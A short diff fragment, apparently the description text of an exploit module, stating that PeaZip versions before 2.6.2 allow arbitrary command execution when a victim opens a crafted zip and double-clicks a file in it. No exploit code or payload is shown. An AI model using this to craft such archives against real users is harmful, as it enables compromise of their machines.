+				versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
+				version 2.6.1 on Windows.
+
+				In order for the command to be executed, an attacker must convince someone to
+				open a specially crafted zip file with PeaZip, and access the specially file via
+				double-clicking it. By doing so, an attacker can execute arbitrary commands
+				as the victim user.
